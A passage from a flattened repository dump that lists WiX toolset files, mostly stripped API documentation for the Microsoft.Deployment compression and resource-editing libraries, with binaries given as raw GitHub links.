disposed. If false, the method has been called by the 101 | runtime from inside the finalizer, and only unmanaged resources will be disposed. 102 | 103 | 104 | 105 | Exception class for cabinet operations. 106 | 107 | 108 | 109 | 110 | Creates a new CabException with a specified error message and a reference to the 111 | inner exception that is the cause of this exception. 112 | 113 | The message that describes the error. 114 | The exception that is the cause of the current exception. If the 115 | innerException parameter is not a null reference (Nothing in Visual Basic), the current exception 116 | is raised in a catch block that handles the inner exception. 117 | 118 | 119 | 120 | Creates a new CabException with a specified error message. 121 | 122 | The message that describes the error. 123 | 124 | 125 | 126 | Creates a new CabException. 127 | 128 | 129 | 130 | 131 | Initializes a new instance of the CabException class with serialized data. 132 | 133 | The SerializationInfo that holds the serialized object data about the exception being thrown. 134 | The StreamingContext that contains contextual information about the source or destination. 135 | 136 | 137 | 138 | Gets the FCI or FDI cabinet engine error number. 139 | 140 | A cabinet engine error number, or 0 if the exception was 141 | not related to a cabinet engine error number. 142 | 143 | 144 | 145 | Gets the Win32 error code. 146 | 147 | A Win32 error code, or 0 if the exception was 148 | not related to a Win32 error. 149 | 150 | 151 | 152 | Sets the SerializationInfo with information about the exception. 153 | 154 | The SerializationInfo that holds the serialized object data about the exception being thrown. 155 | The StreamingContext that contains contextual information about the source or destination. 156 | 157 | 158 | 159 | Disposes of resources allocated by the cabinet engine. 160 | 161 | If true, the method has been called directly or indirectly by a user's code, 162 | so managed and unmanaged resources will be disposed. If false, the method has been called by the 163 | runtime from inside the finalizer, and only unmanaged resources will be disposed. 164 | 165 | 166 | 167 | Object representing a compressed file within a cabinet package; provides operations for getting 168 | the file properties and extracting the file. 169 | 170 | 171 | 172 | 173 | Creates a new CabinetFileInfo object representing a file within a cabinet in a specified path. 174 | 175 | An object representing the cabinet containing the file. 176 | The path to the file within the cabinet. Usually, this is a simple file 177 | name, but if the cabinet contains a directory structure this may include the directory. 178 | 179 | 180 | 181 | Creates a new CabinetFileInfo object with all parameters specified, 182 | used internally when reading the metadata out of a cab. 183 | 184 | The internal path and name of the file in the cab. 185 | The folder number containing the file. 186 | The cabinet number where the file starts. 187 | The stored attributes of the file. 188 | The stored last write time of the file. 189 | The uncompressed size of the file. 190 | 191 | 192 | 193 | Initializes a new instance of the CabinetFileInfo class with serialized data. 194 | 195 | The SerializationInfo that holds the serialized object data about the exception being thrown. 196 | The StreamingContext that contains contextual information about the source or destination. 197 | 198 | 199 | 200 | Sets the SerializationInfo with information about the archive. 201 | 202 | The SerializationInfo that holds the serialized object data. 203 | The StreamingContext that contains contextual information 204 | about the source or destination. 205 | 206 | 207 | 208 | Gets or sets the cabinet that contains this file. 209 | 210 | 211 | The CabinetInfo instance that retrieved this file information -- this 212 | may be null if the CabinetFileInfo object was returned directly from a 213 | stream. 214 | 215 | 216 | 217 | 218 | Gets the full path of the cabinet that contains this file. 219 | 220 | The full path of the cabinet that contains this file. 221 | 222 | 223 | 224 | Gets the number of the folder containing this file. 225 | 226 | The number of the cabinet folder containing this file. 227 | A single folder or the first folder of a cabinet 228 | (or chain of cabinets) is numbered 0. 229 | 230 | 231 | 232 | Refreshes the information in this object with new data retrieved 233 | from an archive. 234 | 235 | Fresh instance for the same file just 236 | read from the archive. 237 | 238 | This implementation refreshes the . 239 | 240 | 241 | 242 | 243 | Object representing a cabinet file on disk; provides access to 244 | file-based operations on the cabinet file. 245 | 246 | 247 | Generally, the methods on this class are much easier to use than the 248 | stream-based interfaces provided by the class. 249 | 250 | 251 | 252 | 253 | Creates a new CabinetInfo object representing a cabinet file in a specified path. 254 | 255 | The path to the cabinet file. When creating a cabinet file, this file does not 256 | necessarily exist yet. 257 | 258 | 259 | 260 | Initializes a new instance of the CabinetInfo class with serialized data. 261 | 262 | The SerializationInfo that holds the serialized object data about the exception being thrown. 263 | The StreamingContext that contains contextual information about the source or destination. 264 | 265 | 266 | 267 | Creates a compression engine that does the low-level work for 268 | this object. 269 | 270 | A new instance. 271 | 272 | Each instance will be d 273 | immediately after use. 274 | 275 | 276 | 277 | 278 | Gets information about the files contained in the archive. 279 | 280 | A list of objects, each 281 | containing information about a file in the archive. 282 | 283 | 284 | 285 | Gets information about the certain files contained in the archive file. 286 | 287 | The search string, such as 288 | "*.txt". 289 | A list of objects, each containing 290 | information about a file in the archive. 291 | 292 | 293 | 294 | Generic class for managing allocations of integer handles 295 | for objects of a certain type. 296 | 297 | The type of objects the handles refer to. 298 | 299 | 300 | 301 | Auto-resizing list of objects for which handles have been allocated. 302 | Each handle is just an index into this list. When a handle is freed, 303 | the list item at that index is set to null. 304 | 305 | 306 | 307 | 308 | Creates a new HandleManager instance. 309 | 310 | 311 | 312 | 313 | Gets the object of a handle, or null if the handle is invalid. 314 | 315 | The integer handle previously allocated 316 | for the desired object. 317 | The object for which the handle was allocated. 318 | 319 | 320 | 321 | Allocates a new handle for an object. 322 | 323 | Object that the handle will refer to. 324 | New handle that can be later used to retrieve the object. 325 | 326 | 327 | 328 | Frees a handle that was previously allocated. Afterward the handle 329 | will be invalid and the object it referred to can no longer retrieved. 330 | 331 | Handle to be freed. 332 | 333 | 334 | 335 | Native DllImport methods and related structures and constants used for 336 | cabinet creation and extraction via cabinet.dll. 337 | 338 | 339 | 340 | 341 | A direct import of constants, enums, structures, delegates, and functions from fci.h. 342 | Refer to comments in fci.h for documentation. 343 | 344 | 345 | 346 | 347 | Error codes that can be returned by FCI. 348 | 349 | 350 | 351 | 352 | FCI compression algorithm types and parameters. 353 | 354 | 355 | 356 | 357 | Reason for FCI status callback. 358 | 359 | 360 | 361 | 362 | Cabinet information structure used for FCI initialization and GetNextCabinet callback. 363 | 364 | 365 | 366 | 367 | Ensures that the FCI handle is safely released. 368 | 369 | 370 | 371 | 372 | Creates a new unintialized handle. The handle will be initialized 373 | when it is marshalled back from native code. 374 | 375 | 376 | 377 | 378 | Checks if the handle is invalid. An FCI handle is invalid when it is zero. 379 | 380 | 381 | 382 | 383 | Releases the handle by calling FDIDestroy(). 384 | 385 | True if the release succeeded. 386 | 387 | 388 | 389 | A direct import of constants, enums, structures, delegates, and functions from fdi.h. 390 | Refer to comments in fdi.h for documentation. 391 | 392 | 393 | 394 | 395 | Error codes that can be returned by FDI. 396 | 397 | 398 | 399 | 400 | Type of notification message for the FDI Notify callback. 401 | 402 | 403 | 404 | 405 | Cabinet information structure filled in by FDI IsCabinet. 406 | 407 | 408 | 409 | 410 | Cabinet notification details passed to the FDI Notify callback. 411 | 412 | 413 | 414 | 415 | Ensures that the FDI handle is safely released. 416 | 417 | 418 | 419 | 420 | Creates a new unintialized handle. The handle will be initialized 421 | when it is marshalled back from native code. 422 | 423 | 424 | 425 | 426 | Checks if the handle is invalid. An FDI handle is invalid when it is zero. 427 | 428 | 429 | 430 | 431 | Releases the handle by calling FDIDestroy(). 432 | 433 | True if the release succeeded. 434 | 435 | 436 | 437 | Error info structure for FCI and FDI. 438 | 439 | Before being passed to FCI or FDI, this structure is 440 | pinned in memory via a GCHandle. The pinning is necessary 441 | to be able to read the results, since the ERF structure doesn't 442 | get marshalled back out after an error. 443 | 444 | 445 | 446 | Gets or sets the cabinet error code. 447 | 448 | 449 | 450 | 451 | Gets or sets the Win32 error code. 452 | 453 | 454 | 455 | 456 | GCHandle doesn't like the bool type, so use an int underneath. 457 | 458 | 459 | 460 | 461 | Clears the error information. 462 | 463 | 464 | 465 | 466 | Distribution specific strings. 467 | 468 | 469 | 470 | 471 | News URL for the distribution. 472 | 473 | 474 | 475 | 476 | Short product name for the distribution. 477 | 478 | 479 | 480 | 481 | Support URL for the distribution. 482 | 483 | 484 | 485 | 486 | Telemetry URL format for the distribution. 487 | 488 | 489 | 490 | 491 | VS Extensions Landing page Url for the distribution. 492 | 493 | 494 | 495 | 496 | -------------------------------------------------------------------------------- /tools/wix/Microsoft.Deployment.Compression.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/Microsoft.Deployment.Compression.dll -------------------------------------------------------------------------------- /tools/wix/Microsoft.Deployment.Resources.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/Microsoft.Deployment.Resources.dll -------------------------------------------------------------------------------- /tools/wix/Microsoft.Deployment.Resources.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Microsoft.Deployment.Resources 5 | 6 | 7 | 8 | 9 | A subclass of Resource which provides specific methods for manipulating the resource data. 10 | 11 | 12 | The resource is of type (RT_GROUPICON). 13 | 14 | 15 | 16 | 17 | Creates a new BitmapResource object without any data. The data can be later loaded from a file. 18 | 19 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#". 20 | Locale of the resource 21 | 22 | 23 | 24 | Creates a new BitmapResource object with data. The data can be later saved to a file. 25 | 26 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#". 27 | Locale of the resource 28 | Raw resource data 29 | 30 | 31 | 32 | Reads the bitmap from a .bmp file. 33 | 34 | Path to a bitmap file (.bmp). 35 | 36 | 37 | 38 | A subclass of Resource which provides specific methods for manipulating the resource data. 39 | 40 | 41 | The resource is of type (RT_GROUPICON). 42 | 43 | 44 | 45 | 46 | Creates a new GroupIconResource object without any data. The data can be later loaded from a file. 47 | 48 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#". 49 | Locale of the resource 50 | 51 | 52 | 53 | Creates a new GroupIconResource object with data. The data can be later saved to a file. 54 | 55 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#". 56 | Locale of the resource 57 | Raw resource data 58 | 59 | 60 | 61 | Gets or sets the raw data of the resource. The data is in the format of the RT_GROUPICON resource structure. 62 | 63 | 64 | 65 | 66 | Enumerates the the icons in the icon group. 67 | 68 | 69 | 70 | 71 | Reads the icon group from a .ico file. 72 | 73 | Path to an icon file (.ico). 74 | 75 | 76 | 77 | Represents a Win32 resource which can be loaded from and saved to a PE file. 78 | 79 | 80 | 81 | 82 | Creates a new Resource object without any data. The data can be later loaded from a file. 83 | 84 | Type of the resource; may be one of the ResourceType constants or a user-defined type. 85 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#". 86 | Locale of the resource 87 | 88 | 89 | 90 | Creates a new Resource object with data. The data can be later saved to a file. 91 | 92 | Type of the resource; may be one of the ResourceType constants or a user-defined type. 93 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#". 94 | Locale of the resource 95 | Raw resource data 96 | 97 | 98 | 99 | Gets or sets the type of the resource. This may be one of the ResourceType constants 100 | or a user-defined type name. 101 | 102 | 103 | 104 | 105 | Gets or sets the name of the resource. For a numeric resource identifier, the decimal number is prefixed with a "#". 106 | 107 | 108 | 109 | 110 | Gets or sets the locale of the resource. 111 | 112 | 113 | 114 | 115 | Gets or sets the raw data of the resource. 116 | 117 | 118 | 119 | 120 | Loads the resource data from a file. The file is searched for a resource with matching type, name, and locale. 121 | 122 | Win32 PE file containing the resource 123 | 124 | 125 | 126 | Saves the resource to a file. Any existing resource data with matching type, name, and locale is overwritten. 127 | 128 | Win32 PE file to contain the resource 129 | 130 | 131 | 132 | Tests if type, name, and locale of this Resource object match another Resource object. 133 | 134 | Resource object to be compared 135 | True if the objects represent the same resource; false otherwise. 136 | 137 | 138 | 139 | Gets a hash code for this Resource object. 140 | 141 | Hash code generated from the resource type, name, and locale. 142 | 143 | 144 | 145 | Allows reading and editing of resource data in a Win32 PE file. 146 | 147 | 148 | To use this class: 149 | Create a new ResourceCollection 150 | Locate resources for the collection by calling one of the methods 151 | Load data of one or more s from a file by calling the method of the 152 | Resource class, or load them all at once (more efficient) with the method of the ResourceCollection. 153 | Read and/or edit data of the individual Resource objects using the methods on that class. 154 | Save data of one or more s to a file by calling the method of the 155 | Resource class, or save them all at once (more efficient) with the method of the ResourceCollection. 156 | 157 | 158 | 159 | 160 | 161 | Creates a new, empty ResourceCollection. 162 | 163 | 164 | 165 | 166 | Locates all resources in a file, including all resource types and languages. For each located resource, 167 | a instance (or subclass) is added to the collection. 168 | 169 | The file to be searched for resources. 170 | resources could not be read from the file 171 | 172 | 173 | 174 | Locates all resources in a file of a given type, including all languages. For each located resource, 175 | a instance (or subclass) is added to the collection. 176 | 177 | The file to be searched for resources. 178 | The type of resource to search for; may be one of the ResourceType constants or a user-defined type. 179 | resources could not be read from the file 180 | 181 | 182 | 183 | Locates all resources in a file of a given type and language. For each located resource, 184 | a instance (or subclass) is added to the collection. 185 | 186 | The file to be searched for resources. 187 | The type of resource to search for; may be one of the ResourceType constants or a user-defined type. 188 | The name of the resource to search for. 189 | resources could not be read from the file 190 | 191 | 192 | 193 | For all resources in the collection, loads their data from a resource file. 194 | 195 | The file from which resources are loaded. 196 | 197 | 198 | 199 | For all resources in the collection, saves their data to a resource file. 200 | 201 | The file to which resources are saved. 202 | 203 | 204 | 205 | Gets or sets the element at the specified index. 206 | 207 | 208 | 209 | 210 | Adds a new item to the collection. 211 | 212 | The Resource to add. 213 | 214 | 215 | 216 | Removes an item to the collection. 217 | 218 | The Resource to remove. 219 | 220 | 221 | 222 | Gets the index of an item in the collection. 223 | 224 | The Resource to search for. 225 | The index of the item, or -1 if not found. 226 | 227 | 228 | 229 | Inserts a item into the collection. 230 | 231 | The insertion index. 232 | The Resource to insert. 233 | 234 | 235 | 236 | Tests if the collection contains an item. 237 | 238 | The Resource to search for. 239 | true if the item is found; false otherwise 240 | 241 | 242 | 243 | Copies the collection into an array. 244 | 245 | The array to copy into. 246 | The starting index in the destination array. 247 | 248 | 249 | 250 | Removes all resources from the collection. 251 | 252 | 253 | 254 | 255 | Gets the number of resources in the collection. 256 | 257 | 258 | 259 | 260 | Gets an enumerator over all resources in the collection. 261 | 262 | 263 | 264 | 265 | 266 | Represents either a standard integer resource type or a custom resource type name. 267 | 268 | 269 | 270 | 271 | Creates a new resource type from a string resource name. 272 | 273 | String resource name, 274 | or an integer resource type prefixed by a #. 275 | 276 | 277 | 278 | Creates a new integer resource type. 279 | 280 | Integer value of a well-known resource type. 281 | 282 | 283 | 284 | Gets a flag indicating whether the resource type is an integer type. 285 | 286 | 287 | 288 | 289 | Gets the integer value of the resource type, or -1 if the resource type is not an integer. 290 | 291 | 292 | 293 | 294 | Gets a string representation of the resource type. 295 | 296 | The custom resource name, or the name of a well-known resource type. 297 | 298 | 299 | 300 | Tests whether one resource type equals another object. 301 | 302 | Other object. 303 | True if equal, else false. 304 | 305 | 306 | 307 | Tests whether one resource type equals another. 308 | 309 | Other resource type. 310 | True if equal, else false. 311 | 312 | 313 | 314 | Gets a hash code suitable for using the resource type as a dictionary key. 315 | 316 | Hash code based on the resource type string. 317 | 318 | 319 | 320 | Implicitly converts a string to a ResourceType. 321 | 322 | String resource type to convert. 323 | ResourceType object. 324 | 325 | 326 | 327 | Explicitly converts a ResourceType to a string. 328 | 329 | ResourceType object to convert. 330 | The resource type string. 331 | 332 | Unlike , this conversion does not return 333 | the common name of well-known integer resource types. Therefore, 334 | the returned string is suitable for passing directly to Win32 335 | resource APIs that accept resource type strings. 336 | 337 | 338 | 339 | 340 | Identifies build types of a versioned file. 341 | 342 | 343 | 344 | 345 | Identifies the type of a versioned file. 346 | 347 | 348 | 349 | 350 | Identifies the sub-type of a versioned file. 351 | 352 | 353 | 354 | 355 | A subclass of Resource which provides specific methods for manipulating the resource data. 356 | 357 | 358 | The resource is of type (RT_VERSION). 359 | 360 | 361 | 362 | 363 | Creates a new VersionResource object without any data. The data can be later loaded from a file. 364 | 365 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#". 366 | Locale of the resource 367 | 368 | 369 | 370 | Creates a new VersionResource object with data. The data can be later saved to a file. 371 | 372 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#". 373 | Locale of the resource 374 | Raw resource data 375 | 376 | 377 | 378 | Gets or sets the raw data of the resource. The data is in the format of the VS_VERSIONINFO structure. 379 | 380 | 381 | 382 | 383 | Gets or sets the binary locale-independent file version of the version resource. 384 | 385 | 386 | 387 | 388 | Gets or sets the binary locale-independent product version of the version resource. 389 | 390 | 391 | 392 | 393 | Gets or sets a bitmask that specifies the build types of the file. 394 | 395 | 396 | 397 | 398 | Gets or sets the general type of the file. 399 | 400 | 401 | 402 | 403 | Gets or sets the specific type of the file. 404 | 405 | 406 | 407 | 408 | Gets or sets the binary creation date and time. 409 | 410 | 411 | 412 | 413 | Gets the string table for a specific locale, or null if there is no table for that locale. 414 | 415 | 416 | 417 | 418 | 419 | 420 | Adds a new version string table for a locale. 421 | 422 | Locale of the table 423 | The new string table, or the existing table if the locale already existed. 424 | 425 | 426 | 427 | Removes a version string table for a locale. 428 | 429 | Locale of the table 430 | 431 | 432 | 433 | Checks if a version string table exists for a given locale. 434 | 435 | Locale to search for 436 | True if a string table was found for the locale; false otherwise. 437 | 438 | 439 | 440 | Gets the number string tables in the version resource. 441 | 442 | 443 | 444 | 445 | Removes all string tables from the version resource. 446 | 447 | 448 | 449 | 450 | Copies the version string tables to an array, starting at a particular array index. 451 | 452 | The one-dimensional Array that is the destination of the elements copied 453 | from the collection. The Array must have zero-based indexing. 454 | The zero-based index in array at which copying begins. 455 | 456 | 457 | 458 | Gets an enumerator that can iterate over the version string tables in the collection. 459 | 460 | An enumerator that returns objects. 461 | 462 | 463 | 464 | Gets an enumerator that can iterate over the version string tables in the collection. 465 | 466 | An enumerator that returns objects. 467 | 468 | 469 | 470 | Represents a string table of a file version resource. 471 | 472 | 473 | 474 | 475 | Gets the locale (LCID) of the string table. 476 | 477 | 478 | 479 | 480 | Gets or sets a string value. 481 | 482 | Name of the string. 483 | 484 | 485 | 486 | Removes all strings from the string table. 487 | 488 | 489 | 490 | 491 | Gets a collection of all the names of the strings in the table. 492 | 493 | 494 | 495 | 496 | Gets a collection of all the values in the table. 497 | 498 | 499 | 500 | 501 | Gets the number of strings in the table. 502 | 503 | 504 | 505 | 506 | Gets an enumeration over all strings in the table. 507 | 508 | Enumeration of string name and value pairs 509 | 510 | 511 | 512 | Distribution specific strings. 513 | 514 | 515 | 516 | 517 | News URL for the distribution. 518 | 519 | 520 | 521 | 522 | Short product name for the distribution. 523 | 524 | 525 | 526 | 527 | Support URL for the distribution. 528 | 529 | 530 | 531 | 532 | Telemetry URL format for the distribution. 533 | 534 | 535 | 536 | 537 | VS Extensions Landing page Url for the distribution. 538 | 539 | 540 | 541 | 542 | -------------------------------------------------------------------------------- /tools/wix/Microsoft.Deployment.WindowsInstaller.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/Microsoft.Deployment.WindowsInstaller.dll -------------------------------------------------------------------------------- /tools/wix/WixUIExtension.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/WixUIExtension.dll -------------------------------------------------------------------------------- /tools/wix/WixUtilExtension.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/WixUtilExtension.dll -------------------------------------------------------------------------------- /tools/wix/candle.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/candle.exe -------------------------------------------------------------------------------- /tools/wix/candle.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /tools/wix/darice.cub: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/darice.cub -------------------------------------------------------------------------------- /tools/wix/light.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/light.exe -------------------------------------------------------------------------------- /tools/wix/light.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /tools/wix/wconsole.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/wconsole.dll -------------------------------------------------------------------------------- /tools/wix/winterop.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/winterop.dll -------------------------------------------------------------------------------- /tools/wix/wix.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/wix.dll -------------------------------------------------------------------------------- /tools/wix/x64/sfxca.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/x64/sfxca.dll -------------------------------------------------------------------------------- /tools/wix/x86/sfxca.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/x86/sfxca.dll --------------------------------------------------------------------------------